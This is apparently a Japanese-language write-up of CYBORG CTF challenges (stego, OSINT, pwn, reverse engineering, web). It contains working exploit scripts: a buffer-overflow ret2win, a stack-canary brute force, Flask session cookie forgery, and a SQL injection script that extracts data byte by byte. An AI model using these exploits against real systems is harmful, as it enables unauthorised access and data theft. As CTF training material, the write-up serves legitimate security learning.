            } else if (location == 1) {
                if (!visited[3]) {
                    System.out.println("You find a comfortable spot on the tree branch and look out towards the horizon. It is beautiful in a way that could not be described fully in text... if only there were a picture that showed what this forest looked like.");
                    System.out.println("But your imagination is powerful, and your spirit is warmed.");
                }
                int c2 = getChoice("Press F5", "Climb down");
                location = c2 == 1 ? 3 : 0;
            } else if (location == 2) {
                if (!visited[2]) {
                    System.out.println("You venture into the forest, pushing past bushes and branches to uncover more trees and animals around you.");
                    System.out.println("A squirrel hops out of a bush and is scuttling around in front of you.");
                } else if (trailMix == 3) {
                    System.out.println("The squirrel is still there, presumably searching for food.");
                } else {
                    System.out.println("The squirrel is still there, nibbling on its trail mix.");
                }
                int c3 = trailMix == 3 ? getChoice("Offer the squirrel trail mix", "Punt the squirrel", "Ignore the squirrel and continue", "Go back") : getChoice("Offer the squirrel trail mix", "Punt the squirrel", "Continue deeper into the forest", "Go back");
                switch (c3) {
                    case 1:
                        i = 4;
                        break;
                    case 2:
                        i = 5;
                        break;
                    case 3:
                        i = 6;
                        break;
                    case 4:
                        i = 0;
                        break;
                    default:
                        i = location;
                        break;
                }
                location = i;
            } else if (location == 3) {
                System.out.println("You pressed F5 and gained a whole new perspective.");
                if (!animalSpeaking) {
                    System.out.println("You can feel the voices of the forest connecting with your soul.");
                }
                animalSpeaking = true;
                location = 1;
            } else if (location == 4) {
                if (trailMix > 0) {
                    trailMix--;
                    System.out.println("The squirrel looks up at you and happily accepts the nuts you hand out.");
                    if (animalSpeaking) {
                        System.out.println("The squirrel utters the following phrase:");
                        System.out.println(flags[3 - (trailMix + 1)]);
                    } else {
                        System.out.println("The squirrel utters an unintelligible but cute sound.");
                    }
                    System.out.println("You have " + trailMix + " trail mix remaining.");
                    if (trailMix == 2) {
                        System.out.println("The squirrel looks like it is very hungry.");
                    } else if (trailMix == 1) {
                        System.out.println("The squirrel looks like it is still hungry.");
                    }
                } else {
                    System.out.println("You have no trail mix left. ");
                }
                location = 2;
            } else if (location == 5) {
                System.out.println("You swing your leg back, then swing forward with all your might and punt the squirrel into forest oblivion.");
                System.out.println("Your meditative adventure has made you realize you are a terrible person, so you leave the forest and return to society.");
                System.exit(0);
            } else if (location == 6) {
                System.out.println("You walk past the squirrel and journey deeper and deeper into the forest.");
                if (trailMix == 3) {
                    System.out.println("You have a nagging feeling that you missed something along the way, that valuable lessons were not extracted.");
                    System.out.println("But you push on anyways, consuming yourself within the misty woods.");
                } else if (!animalSpeaking) {
                    System.out.println("You feel comforted by your interaction with the squirrel, but something tells you that you did not fully understand what it was trying to say.");
                    System.out.println("Perhaps another journey through the forest would give you a new perspective.");
                    System.out.println("But for now, you venture deeper, consuming yourself within the misty woods.");
                } else {
                    System.out.println("You feel enlightened by your connection to nature.");
                    System.out.println("You are ready to continue further, but you must dig deeper in a way that cannot be accomplished in this text adventure.");
                }
                System.exit(0);
            }
            System.out.println();
            visited[enterLoc] = true;
        }
    }

    public static int getChoice(String... options) {
        for (int i = 0; i < options.length; i++) {
            System.out.println((i + 1) + ": " + options[i]);
        }
        System.out.println("Enter a number: ");
        int choice = sc.nextInt();
        if (choice < 1 || choice > options.length) {
            System.out.println("You are trying to do something you are not capable of.");
            return getChoice(options);
        }
        return choice;
    }
}

Resourcesにmistywoods.pngがあるので、エクスポートする。StegSolveで開き、Red plane 0を見ると、文字が現れる。

a [
b ]
c +
d -
e .
f ,
g >
h <

アルファベットとBrainf*ck言語で使われる文字の対応と推測できる。コード内のflagsでアルファベットが使われているので、置換してみる。
まずflagsの文字列を結合する。

ccccccccccagccccccchdbgdddehcccccagcccchdbgccehcccccagddddhdbgdddehgcccccccccccccecccedddddddddddeagcgchhdbcccccagcccccccccchdbgccegcedddeddddeccccccccccccccccceddddddddddddddehhccccccaggccccchhdbggdddedddddddddddeddehhccccccaggdddddhhdbggdeehhcccccccccccaggcccchhdbggehhcccccaggdddddhhdbggeagcgchhdbabccccccaggdddhhdbggehcccccceehhcce

画像として現れた対応表を元に、アルファベットを置換する。

++++++++++[>+++++++<-]>---.<+++++[>++++<-]>++.<+++++[>----<-]>---.<>+++++++++++++.+++.-----------.[>+>+<<-]+++++[>++++++++++<-]>++.>+.---.----.+++++++++++++++++.--------------.<<++++++[>>+++++<<-]>>---.-----------.--.<<++++++[>>-----<<-]>>-..<<+++++++++++[>>++++<<-]>>.<<+++++[>>-----<<-]>>.[>+>+<<-][]++++++[>>---<<-]>>.<++++++..<<++.

https://sange.fi/esoteric/brainfuck/impl/interp/i.htmlで実行してみると、フラグが現れた。

CYBORG{HEARD_TR33_F4LL}

TommyCam (osint)

問題は以下の通り。

The site usc.edu was first archived by the Internet Archive in December 1996. At that time, the site included the technical specs for TommyCam. What PC was initially used to run TommyCam?

Answers should be formatted like this, for example: CYBORG{ThinkPad T480}

Internet Archiveで以下を調べる。

https://usc.edu/

1996/12/23 4:41:23に初めてスナップショットが取られている。このページの「TommyCam」のリンクをたどってみる。次に「Technical Information, Future Improvements.」のリンク先に行ってみる。
System Architectureに以下のように書いてある。

The camera is connected to a video frame grabber board (Quanta WinVision Pro) in a Toshiba 5200 80386 based laptop PC.
CYBORG{Toshiba 5200 80386}

beer sales (osint)

問題は以下の通り。

In August 2024, a lot of beer was sold in Orlando, Florida. But how much, exactly? Lucky for us, they left the exact number on a PDF on an open FTP server! Include the total number of gallons of beer.

For example: CYBORG{712931.12}

「August 2024 Orlando Florida beer sold gallons」で検索すると、以下のFTPサイトが見つかった。

ftp://www.flgov.com/pub/llweb/Beer4.pdf

anonymous / (none) で認証し、ダウンロードする。pdfを見ると、合計は861,641.36ガロンであることがわかる。

CYBORG{861641.36}

Buildings (osint)

12枚の画像とそれぞれ数字が書いてあるPDFが添付されている。そこには6枚の画像の後に"{"、一番最後に"}"があることから前半6枚の画像は"CYBORG"であると推測できるので、7枚目以降の画像について調べていく。


7個目の画像を画像検索すると、完全一致する画像がある。
リンクされているURLは以下の通り。
https://housing.usc.edu/index.php/buildings/arts-humanities-residential-college-at-parkside/
この建物の略称はPRBで、3と書いてあるので"B"を示していると推測できる。


8個目の画像を画像検索すると、完全一致する画像がある。
リンクされているURLは以下の通り。
https://housing.usc.edu/index.php/buildings/birnkrant-residential-college/
この建物の略称はBSRで、3と書いてあるので"R"を示していると推測できる。


9個目の画像を画像検索すると、完全一致する画像がある。
リンクされているURLは以下の通り。
https://dornsife.usc.edu/brainimaging/
この建物の略称はDNIで、3と書いてあるので"I"を示していると推測できる。


10個目の画像を画像検索すると、完全一致する画像がある。
リンクされているURLは以下の通り。
https://housing.usc.edu/index.php/buildings/cardinal-gardens/
この建物の略称はDNIで、1と書いてあるので"C"を示していると推測できる。


11個目の画像を画像検索すると、完全一致する画像がある。
リンクされているURLは以下の通り。
https://pt.foursquare.com/v/kaprielian-hall-kap/4b4fc8c3f964a520491527e3
この建物の略称はKAPで、1と書いてあるので"K"を示していると推測できる。


12個目の画像を画像検索すると、完全一致する画像がある。
リンクされているURLは以下の通り。
https://www.inkpenlab.org/contact
この建物の略称はLJSで、3と書いてあるので"S"を示していると推測できる。

すべてを結合すると、フラグになる。

CYBORG{BRICKS}

television (osint)

問題は以下の通り。

The attached image is from the TV series Perry Mason (2020-2023). Who was the (real-life) architect for the building in the background?

CYBORG{Firstname Lastname}


「Perry Mason (2020-2023) building locations」で調べると、以下のページが見つかった。

https://www.sceen-it.com/movie/1377/Perry-Mason

ロケ地があるので、近い画像を探す。Second Church of Christ Scientistが似ている。
以下のページでこの建物の建築家を調べる。

https://en.wikipedia.org/wiki/Second_Church_of_Christ,_Scientist_(Los_Angeles)
CYBORG{Alfred H. Rosenheim}

Portal (pwn)

$ checksec --file=portal
[*] '/mnt/hgfs/Shared/portal'
    Arch:       i386-32-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

Ghidraでデコンパイルする。

undefined4 main(undefined1 param_1)

{
  __gid_t __rgid;
  
  setvbuf(_stdout,(char *)0x0,2,0);
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  puts("Please enter your string: ");
  vuln();
  return 0;
}

void vuln(void)

{
  undefined4 uVar1;
  char local_2c [36];
  
  gets(local_2c);
  uVar1 = get_return_address();
  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n",uVar1);
  return;
}

void win(void)

{
  char local_3d [45];
  FILE *local_10;
  
  local_10 = fopen("flag.txt","r");
  if (local_10 == (FILE *)0x0) {
    puts("Please create \'flag.txt\' in this directory with your own debugging flag.");
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  fgets(local_3d,0x2d,local_10);
  printf(local_3d);
  return;
}

BOFでwin関数をコールすればよい。

$ gdb -q ./portal
Reading symbols from ./portal...
(No debugging symbols found in ./portal)
gdb-peda$ pattc 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/portal 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Please enter your string: 
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Okay, time to return... Fingers Crossed... Jumping to 0x80492a7

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----------------------------------registers-----------------------------------]
EAX: 0x40 ('@')
EBX: 0x61414145 ('EAAa')
ECX: 0x0 
EDX: 0x0 
ESI: 0xffffd04c --> 0xffffd238 ("CLUTTER_IM_MODULE=xim")
EDI: 0xf7ffcb60 --> 0x0 
EBP: 0x41304141 ('AA0A')
ESP: 0xffffcf60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414641
[------------------------------------stack-------------------------------------]
0000| 0xffffcf60 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffcf64 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffcf68 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffcf6c ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffcf70 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffcf74 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffcf78 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0028| 0xffffcf7c ("AA4AAJAAfAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ patto AFAA
AFAA found at offset: 44

$ ROPgadget --binary ./portal | grep ": ret"
0x0804900e : ret
0x0804918b : ret 0xe8c1
0x0804934b : retf
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('0.cloud.chals.io', 11723)
else:
    p = process('./portal')

elf = ELF('./portal')

ret_addr = 0x0804900e
win_addr = elf.symbols['win']

payload = b'A' * 44
payload += p32(ret_addr)
payload += p32(win_addr)

data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvrepeat(1).decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to 0.cloud.chals.io on port 11723: Done
[*] '/mnt/hgfs/Shared/portal'
    Arch:       i386-32-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
Please enter your string:
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x0e\x90\x04\x08\x08\x92\x04\x08'
Okay, time to return... Fingers Crossed... Jumping to 0x80492a7
CYBORG{w0w_u_r_0n_y0ur_w4y_2_b_a_r34l_h4x0r!
[*] Closed connection to 0.cloud.chals.io port 11723

最後の"}"がないので、"}"を付ける。

CYBORG{w0w_u_r_0n_y0ur_w4y_2_b_a_r34l_h4x0r!}

Reader (pwn)

$ checksec --file=reader
[*] '/mnt/hgfs/Shared/reader'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Ghidraでデコンパイルする。

void main(void)

{
  __pid_t _Var1;
  
  while( true ) {
    _Var1 = fork();
    if (_Var1 < 0) {
      perror("fork failed");
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    if (_Var1 == 0) break;
    wait((void *)0x0);
  }
  vuln();
                    /* WARNING: Subroutine does not return */
  exit(0);
}

void vuln(void)

{
  long in_FS_OFFSET;
  undefined local_58 [72];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter some data: ");
  fflush(stdout);
  read(0,local_58,0x80);
  puts("Your data was read. Did you get the flag?");
  fflush(stdout);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void win(void)

{
  FILE *__stream;
  long in_FS_OFFSET;
  char local_48 [56];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    printf("%s %s","Please create \'flag.txt\' in this directory with your","own debugging flag.\n")
    ;
    fflush(stdout);
                    /* WARNING: Subroutine does not return */
    exit(0);
  }
  fgets(local_48,0x32,__stream);
  puts(local_48);
  fflush(stdout);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

72バイトのあとにcanary値があると思われる。canary値を先頭からブルートフォースで探り、win関数を呼び出せばフラグが得られる。

$ ROPgadget --binary ./reader | grep ": ret"
0x000000000040101a : ret
0x00000000004012be : ret 0x8d48
#!/usr/bin/env python3
from pwn import *

p = remote('0.cloud.chals.io', 10677)

elf = ELF('./reader')

ret_addr = 0x40101a
win_addr = elf.symbols['win']

payload = b'A' * 72
for i in range(8):
    found = False
    for j in range(256):
        if j == 10:
            continue
        data = p.recvuntil(b': ').decode()
        print(data, end='')
        print(payload + bytes([j]))
        p.send(payload + bytes([j]))
        data = p.recvline().decode().rstrip()
        print(data)
        data = p.recv(3).decode()
        if data != '***':
            found = True
            payload += bytes([j])
            break
        else:
            data += p.recvline().decode().rstrip()
            print(data)
    if found == False:
        log.error('Failed to leak canary!')
        exit(1)

payload += p64(ret_addr)
payload += p64(win_addr)
data += p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvline().decode().rstrip()
print(data)
data = p.recvrepeat(1).decode()
print(data)

実行結果は以下の通り。

        :
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xeb'
Your data was read. Did you get the flag?
*** stack smashing detected ***: terminated
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xec'
Your data was read. Did you get the flag?
*** stack smashing detected ***: terminated
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xed'
Your data was read. Did you get the flag?
*** stack smashing detected ***: terminated
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xee'
Your data was read. Did you get the flag?
*** stack smashing detected ***: terminated
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xef'
Your data was read. Did you get the flag?
Enter some data: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x17\x96}\x0cL\xd9\xef\x1a\x10@\x00\x00\x00\x00\x00v\x12@\x00\x00\x00\x00\x00'
Your data was read. Did you get the flag?
CYBORG{u_hulk_sm4sh3d_th4t_c4n4ry_l1k3_a_ch4mp!!!
Enter some data: 
[*] Closed connection to 0.cloud.chals.io port 10677

最後の"}"がないので、"}"を付ける。

CYBORG{u_hulk_sm4sh3d_th4t_c4n4ry_l1k3_a_ch4mp!!!}

trynewthings (rev)

Ghidraでデコンパイルする。

undefined8 main(int param_1,undefined8 *param_2)

{
  char *pcVar1;
  bool bVar2;
  undefined8 uVar3;
  undefined7 extraout_var;
  
  if (param_1 < 2) {
    fprintf(stderr,"usage: %s guess\n",*param_2);
    uVar3 = 1;
  }
  else {
    pcVar1 = (char *)param_2[1];
    bVar2 = check_flag(pcVar1);
    if ((int)CONCAT71(extraout_var,bVar2) == 0) {
      puts("Incorrect");
    }
    else {
      printf("Correct: %s\n",pcVar1);
    }
    uVar3 = 0;
  }
  return uVar3;
}

bool check_flag(char *param_1)

{
  undefined8 uVar1;
  size_t local_28;
  void *local_20;
  int local_14;
  size_t local_10;
  
  local_10 = strlen(param_1);
  encode((long)param_1,local_10,&local_20,&local_28);
  uVar1 = check_encoded_guess((long)local_20,local_28);
  local_14 = (int)uVar1;
  free(local_20);
  return local_14 == 0;
}

void encode(long param_1,size_t param_2,void **param_3,size_t *param_4)

{
  char cStack_25;
  undefined2 local_24;
  undefined local_22;
  void *local_20;
  size_t local_18;
  ulong local_10;
  
  local_18 = param_2;
  local_20 = malloc(param_2);
  local_24 = 0x67;
  local_22 = 0;
  for (local_10 = 0; local_10 < param_2; local_10 = local_10 + 1) {
    *(char *)(local_10 + (long)local_20) =
         *(char *)((long)&local_24 + (1 - local_10)) + *(char *)(local_10 + param_1) + -0x3c;
  }
  *param_3 = local_20;
  *param_4 = local_18;
  return;
}

undefined8 check_encoded_guess(long param_1,long param_2)

{
  undefined8 uVar1;
  ulong local_10;
  
  if (param_2 == 0x18) {
    for (local_10 = 0; local_10 < 0x18; local_10 = local_10 + 1) {
      if (*(char *)(local_10 + param_1) != (&DAT_00102004)[local_10]) {
        return 0xffffffff;
      }
    }
    uVar1 = 0;
  }
  else {
    uVar1 = 0xffffffff;
  }
  return uVar1;
}

                             DAT_00102004                                    XREF[2]:     check_encoded_guess:00101285(*), 
                                                                                          check_encoded_guess:00101293(*)  
        00102004 07              ??         07h
        00102005 84              ??         84h
        00102006 74              ??         74h    t
        00102007 7c              ??         7Ch    |
        00102008 88              ??         88h
        00102009 70              ??         70h    p
        0010200a a4              ??         A4h
        0010200b a4              ??         A4h
        0010200c 92              ??         92h
        0010200d a1              ??         A1h
        0010200e 97              ??         97h
        0010200f 9b              ??         9Bh
        00102010 a9              ??         A9h
        00102011 8e              ??         8Eh
        00102012 65              ??         65h    e
        00102013 af              ??         AFh
        00102014 9d              ??         9Dh
        00102015 98              ??         98h
        00102016 9c              ??         9Ch
        00102017 95              ??         95h
        00102018 8d              ??         8Dh
        00102019 a4              ??         A4h
        0010201a 8a              ??         8Ah
        0010201b ad              ??         ADh
        0010201c 00              ??         00h

encode関数があまり正確にデコンパイルできていないようなので、アセンブリを見てみる。

                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined __stdcall encode(long param_1, size_t param_2,
             undefined         AL:1           <RETURN>
             long              RDI:8          param_1
             size_t            RSI:8          param_2
             void * *          RDX:8          param_3
             size_t *          RCX:8          param_4
             undefined8        Stack[-0x10]:8 local_10                                XREF[6]:     001013e1(W), 
                                                                                                   001013ef(R), 
                                                                                                   00101400(R), 
                                                                                                   00101412(R), 
                                                                                                   0010141d(RW), 
                                                                                                   00101422(R)  
             undefined8        Stack[-0x18]:8 local_18                                XREF[2]:     00101368(W), 
                                                                                                   0010143b(R)  
             undefined8        Stack[-0x20]:8 local_20                                XREF[3]:     00101378(W), 
                                                                                                   0010140e(R), 
                                                                                                   00101430(R)  
             undefined1        Stack[-0x22]:1 local_22                                XREF[1]:     001013dd(W)  
             undefined2        Stack[-0x24]:2 local_24                                XREF[1]:     001013d7(W)  
             undefined4        Stack[-0x28]:4 local_28                                XREF[1]:     001013d0(W)  
             undefined8        Stack[-0x30]:8 local_30                                XREF[1]:     001013cc(W)  
             undefined8        Stack[-0x38]:8 local_38                                XREF[1]:     001013c8(W)  
             undefined8        Stack[-0x40]:8 local_40                                XREF[1]:     001013b0(W)  
             undefined8        Stack[-0x48]:8 local_48                                XREF[1]:     001013ac(W)  
             undefined8        Stack[-0x50]:8 local_50                                XREF[1]:     00101394(W)  
             undefined8        Stack[-0x58]:8 local_58                                XREF[1]:     00101390(W)  
             undefined8        Stack[-0x60]:8 local_60                                XREF[2]:     00101354(W), 
                                                                                                   001013eb(R)  
             undefined8        Stack[-0x68]:8 local_68                                XREF[4]:     00101358(W), 
                                                                                                   00101364(R), 
                                                                                                   0010136c(R), 
                                                                                                   00101426(R)  
             undefined8        Stack[-0x70]:8 local_70                                XREF[2]:     0010135c(W), 
                                                                                                   0010142c(R)  
             undefined8        Stack[-0x78]:8 local_78                                XREF[2]:     00101360(W), 
                                                                                                   00101437(R)  
                             encode                                          XREF[4]:     Entry Point(*), 
                                                                                          check_flag:0010121c(c), 0010208c, 
                                                                                          00102188(*)  
        00101348 f3 0f 1e fa     ENDBR64
        0010134c 55              PUSH       RBP
        0010134d 48 89 e5        MOV        RBP,RSP
        00101350 48 83 ec 70     SUB        RSP,0x70
        00101354 48 89 7d a8     MOV        qword ptr [RBP + local_60],param_1
        00101358 48 89 75 a0     MOV        qword ptr [RBP + local_68],param_2
        0010135c 48 89 55 98     MOV        qword ptr [RBP + local_70],param_3
        00101360 48 89 4d 90     MOV        qword ptr [RBP + local_78],param_4
        00101364 48 8b 45 a0     MOV        RAX,qword ptr [RBP + local_68]
        00101368 48 89 45 f0     MOV        qword ptr [RBP + local_18],RAX
        0010136c 48 8b 45 a0     MOV        RAX,qword ptr [RBP + local_68]
        00101370 48 89 c7        MOV        param_1,RAX
        00101373 e8 78 fd        CALL       <EXTERNAL>::malloc                               void * malloc(size_t __size)
                 ff ff
        00101378 48 89 45 e8     MOV        qword ptr [RBP + local_20],RAX
        0010137c 48 b8 6d        MOV        RAX,0x65697368676e696d
                 69 6e 67 
                 68 73 69 65
        00101386 48 ba 68        MOV        param_3,0x6d74726170656468
                 64 65 70 
                 61 72 74 6d
        00101390 48 89 45 b0     MOV        qword ptr [RBP + local_58],RAX
        00101394 48 89 55 b8     MOV        qword ptr [RBP + local_50],param_3
        00101398 48 b8 65        MOV        RAX,0x656c65666f746e65
                 6e 74 6f 
                 66 65 6c 65
        001013a2 48 ba 63        MOV        param_3,0x616c616369727463
                 74 72 69 
                 63 61 6c 61
        001013ac 48 89 45 c0     MOV        qword ptr [RBP + local_48],RAX
        001013b0 48 89 55 c8     MOV        qword ptr [RBP + local_40],param_3
        001013b4 48 b8 6e        MOV        RAX,0x7475706d6f63646e
                 64 63 6f 
                 6d 70 75 74
        001013be 48 ba 65        MOV        param_3,0x656e69676e657265
                 72 65 6e 
                 67 69 6e 65
        001013c8 48 89 45 d0     MOV        qword ptr [RBP + local_38],RAX
        001013cc 48 89 55 d8     MOV        qword ptr [RBP + local_30],param_3
        001013d0 c7 45 e0        MOV        dword ptr [RBP + local_28],0x6e697265
                 65 72 69 6e
        001013d7 66 c7 45        MOV        word ptr [RBP + local_24],0x67
                 e4 67 00
        001013dd c6 45 e6 00     MOV        byte ptr [RBP + local_22],0x0
        001013e1 48 c7 45        MOV        qword ptr [RBP + local_10],0x0
                 f8 00 00 
                 00 00
        001013e9 eb 37           JMP        LAB_00101422

encode関数では各アドレスに以下のように値を格納している。

・RBP + local_58: 0x65697368676e696d
・RBP + local_50: 0x6d74726170656468
・RBP + local_48: 0x656c65666f746e65
・RBP + local_40: 0x616c616369727463
・RBP + local_38: 0x7475706d6f63646e
・RBP + local_30: 0x656e69676e657265
・RBP + local_28: 0x6e697265
・RBP + local_24: 0x67

つまり、最初は0で、RBP + local_24から順にシフトしていき、以下のような処理になっている。

・out[0] = 0 + in[0] - 0x3c
・out[1] = 0x67 + in[1] - 0x3c
・out[2] = 0x6e + in[2] - 0x3c
・out[3] = 0x69 + in[3] - 0x3c
・out[4] = 0x72 + in[4] - 0x3c
・out[5] = 0x65 + in[5] - 0x3c
        :

check_encoded_guess関数ではDAT_00102004と一致しているかをチェックしている。このことを元に復号する。

#!/usr/bin/env python3
enc = [0x07, 0x84, 0x74, 0x7c, 0x88, 0x70, 0xa4, 0xa4, 0x92, 0xa1, 0x97, 0x9b,
    0xa9, 0x8e, 0x65, 0xaf, 0x9d, 0x98, 0x9c, 0x95, 0x8d, 0xa4, 0x8a, 0xad]

key = '00676e697265'
key += '656e69676e657265'
key += '7475706d6f63646e'
key += '616c616369727463'
key += '656c65666f746e65'
key += '6d74726170656468'
key += '65697368676e696d'

flag = ''
for i in range(len(enc)):
    flag += chr(enc[i] + 0x3c - int(key[i*2:i*2+2], 16))
print(flag)
CYBORG{reverse-viginere}

Tommy's Artventures (web)

以下のアカウント情報を作成し、ログインする。

Username: hoge
Password: fuga

クッキーのsessionを見ると以下のようになっている。

eyJ1c2VyIjoiaG9nZSJ9.ZyXYNw.EEKIzCDsrQgY9j2kMAbL1MIps5c

https://usc-tommyartventures.chals.io/curateにアクセスすると、以下のようなメッセージが表示される。

Error: must be 'admin' to curate artwork
$ flask-unsign --decode --cookie 'eyJ1c2VyIjoiaG9nZSJ9.ZyXYNw.EEKIzCDsrQgY9j2kMAbL1MIps5c'
{'user': 'hoge'}

secret keyが以下であるとわかっているので、これを使ってsignする。

4a6282bf78c344a089a2dc5d2ca93ae6
$ flask-unsign --sign --cookie "{'user': 'admin'}" --secret '4a6282bf78c344a089a2dc5d2ca93ae6'
eyJ1c2VyIjoiYWRtaW4ifQ.ZyXa5w.iZG6lCO2PPXKIYIIyUrwyn3CBlM

これをクッキーのsessionに設定し、https://usc-tommyartventures.chals.io/curateにアクセスすると、フラグが表示された。

CYBORG{oce4n5_auth3N71ca7i0N}

Spooky Query Leaks (web)

"admin"ユーザでログインできれば、フラグが表示される。
SQLインジェクションで、usersテーブルに(flagの先頭1バイト, 指定のパスワード)をinsertする。ログインを試行して、ブルートフォースでflagの先頭1バイトを見つける。
同様に2バイト目以降も実行して、フラグを割り出す。

#!/usr/bin/env python3
import requests

from werkzeug.security import generate_password_hash

password = 'pass'
pw_hash = generate_password_hash(password)

base_url = 'https://usc-spookyql.chals.io/0b064a9b-c899-46ff-ab30-22c9e9b10b0c/'

flag = ''
i = len(flag) + 1
while True:
    url = base_url + 'register'
    payload = {"username": str(i) + "', 'a'), ((select substring(flag, 1, " + str(i) + ") from flags), '" + pw_hash + "') --", "password": "a"}
    r = requests.post(url, data=payload)

    url = base_url + 'login'
    for code in range(32, 127):
        try_flag = flag + chr(code)
        print('[+] try_flag:', try_flag)
        payload = {"username": try_flag, "password": password}
        r = requests.post(url, data=payload)
        if r.text != 'Invalid credentials.':
            flag += chr(code)
            i += 1
            break

    if flag[-1] == '}':
        break

print('[*] flag:', flag)

実行結果は以下の通り。

        :
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!t
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!u
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!v
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!w
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!x
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!y
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!z
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!{
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!|
[+] try_flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!}
[*] flag: CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!}
CYBORG{Wh4t_h4pp3n3d_t0_my_p4ssw0rd!}

think_twice (forensics)

EXIF情報を見てみる。

$ exiftool metadata.png                                                                   
ExifTool Version Number         : 12.76
File Name                       : metadata.png
Directory                       : .
File Size                       : 400 kB
File Modification Date/Time     : 2024:11:02 13:10:07+09:00
File Access Date/Time           : 2024:11:02 13:10:22+09:00
File Inode Change Date/Time     : 2024:11:02 13:10:07+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
